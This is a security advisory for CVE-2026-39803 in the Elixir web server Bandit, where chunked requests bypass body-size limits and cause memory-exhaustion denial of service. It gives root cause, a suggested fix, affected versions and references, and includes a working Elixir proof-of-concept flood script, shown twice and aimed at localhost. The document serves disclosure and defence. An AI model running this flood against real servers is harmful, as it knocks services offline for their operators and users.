GHSA-9Q9Q-324X-93R2
Vulnerability from github – Published: 2026-05-19 19:23 – Updated: 2026-05-19 19:23Summary
Bandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. Plug.Parsers' default 8 MB length:) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single Transfer-Encoding: chunked request to any URL.
Details
In lib/bandit/http1/socket.ex:189, the chunked clause of read_data/2 only forwards :read_length and :read_timeout to do_read_chunked_data!/5 (:242); the caller-supplied :length cap is dropped. The recursion accumulates every chunk into an iolist and IO.iodata_to_binary/1 (:196) materializes the whole thing as one binary. The function always returns {:ok, body, ...} — never {:more, ...} — so callers cannot interpose a 413.
The content-length sibling at :210 does the right thing:
max_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))
Because Plug.Parsers runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any Content-Type matching a configured parser (:json, :urlencoded, :multipart) on any path triggers the bug.
Suggested Fix: track accumulated bytes in do_read_chunked_data! and either return {:more, ...} or raise request_error! once :length is exceeded, mirroring the content-length path.
PoC
Self-contained — boots a Bandit server with a realistic Plug.Parsers (length: 8_000_000) and floods it. Save as chunked_oom.exs, run elixir chunked_oom.exs, and watch beam.smp RSS climb past 8 MB until the OS OOM-killer fires.
Mix.install([{:bandit, "~> 1.10"}, {:plug, "~> 1.19"}])
defmodule DemoApp do
use Plug.Builder
# The `length` option here is ignored by the attack
plug Plug.Parsers, parsers: [:urlencoded, :json], pass: ["*/*"], json_decoder: JSON, length: 8_000_000
plug :respond
def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, "ok")
end
{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)
# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.
chunk = :binary.copy(<<?A>>, 1_048_576)
frame = "#{Integer.to_string(1_048_576, 16)}\r\n#{chunk}\r\n"
{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", 4321, [:binary, active: false])
:ok =
:gen_tcp.send(sock, """
POST / HTTP/1.1\r
Host: 127.0.0.1\r
Transfer-Encoding: chunked\r
Content-Type: application/json\r
Connection: close\r
\r
""")
Enum.each(1..10_240, fn _ -> :ok = :gen_tcp.send(sock, frame) end)
:ok = :gen_tcp.send(sock, "0\r\n\r\n")
IO.inspect(:gen_tcp.recv(sock, 0, 120_000))
Impact
Unauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts Plug.Parsers ahead of routing and auth. Configured length: caps on Plug.Parsers and Plug.Conn.read_body/2 are silently ineffective on the chunked path.
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "bandit"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "1.11.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39803"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T19:23:49Z",
"nvd_published_at": "2026-05-13T14:17:32Z",
"severity": "HIGH"
},
"details": "### Summary\n\nBandit\u0027s HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. `Plug.Parsers`\u0027 default 8 MB `length:`) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single `Transfer-Encoding: chunked` request to any URL.\n\n### Details\n\nIn `lib/bandit/http1/socket.ex:189`, the chunked clause of `read_data/2` only forwards `:read_length` and `:read_timeout` to `do_read_chunked_data!/5` (`:242`); the caller-supplied `:length` cap is dropped. The recursion accumulates every chunk into an iolist and `IO.iodata_to_binary/1` (`:196`) materializes the whole thing as one binary. The function always returns `{:ok, body, ...}` \u2014 never `{:more, ...}` \u2014 so callers cannot interpose a 413.\n\nThe content-length sibling at `:210` does the right thing:\n\n```elixir\nmax_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))\n```\n\nBecause `Plug.Parsers` runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route \u2014 any `Content-Type` matching a configured parser (`:json`, `:urlencoded`, `:multipart`) on any path triggers the bug.\n\n**Suggested Fix:** track accumulated bytes in `do_read_chunked_data!` and either return `{:more, ...}` or raise `request_error!` once `:length` is exceeded, mirroring the content-length path.\n\n### PoC\n\nSelf-contained \u2014 boots a Bandit server with a realistic `Plug.Parsers` (`length: 8_000_000`) and floods it. Save as `chunked_oom.exs`, run `elixir chunked_oom.exs`, and watch `beam.smp` RSS climb past 8 MB until the OS OOM-killer fires.\n\n```elixir\nMix.install([{:bandit, \"~\u003e 1.10\"}, {:plug, \"~\u003e 1.19\"}])\n\ndefmodule DemoApp do\n use Plug.Builder\n\n # The `length` option here is ignored by the attack\n plug Plug.Parsers, parsers: [:urlencoded, :json], pass: [\"*/*\"], json_decoder: JSON, length: 8_000_000\n plug :respond\n\n def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, \"ok\")\nend\n\n{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)\n\n# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.\nchunk = :binary.copy(\u003c\u003c?A\u003e\u003e, 1_048_576)\nframe = \"#{Integer.to_string(1_048_576, 16)}\\r\\n#{chunk}\\r\\n\"\n\n{:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", 4321, [:binary, active: false])\n\n:ok =\n :gen_tcp.send(sock, \"\"\"\n POST / HTTP/1.1\\r\n Host: 127.0.0.1\\r\n Transfer-Encoding: chunked\\r\n Content-Type: application/json\\r\n Connection: close\\r\n \\r\n \"\"\")\n\nEnum.each(1..10_240, fn _ -\u003e :ok = :gen_tcp.send(sock, frame) end)\n:ok = :gen_tcp.send(sock, \"0\\r\\n\\r\\n\")\n\nIO.inspect(:gen_tcp.recv(sock, 0, 120_000))\n```\n\n### Impact\n\nUnauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere \u2014 i.e. essentially every Phoenix app, since the default endpoint mounts `Plug.Parsers` ahead of routing and auth. Configured `length:` caps on `Plug.Parsers` and `Plug.Conn.read_body/2` are silently ineffective on the chunked path.",
"id": "GHSA-9q9q-324x-93r2",
"modified": "2026-05-19T19:23:49Z",
"published": "2026-05-19T19:23:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39803"
},
{
"type": "WEB",
"url": "https://github.com/mtrudel/bandit/commit/ae3520dfdbfab115c638f8c7f6f6b805db34e1ab"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-39803.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/mtrudel/bandit"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-39803"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Bandit: Unauthenticated one-shot DoS via `Transfer-Encoding: chunked`"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.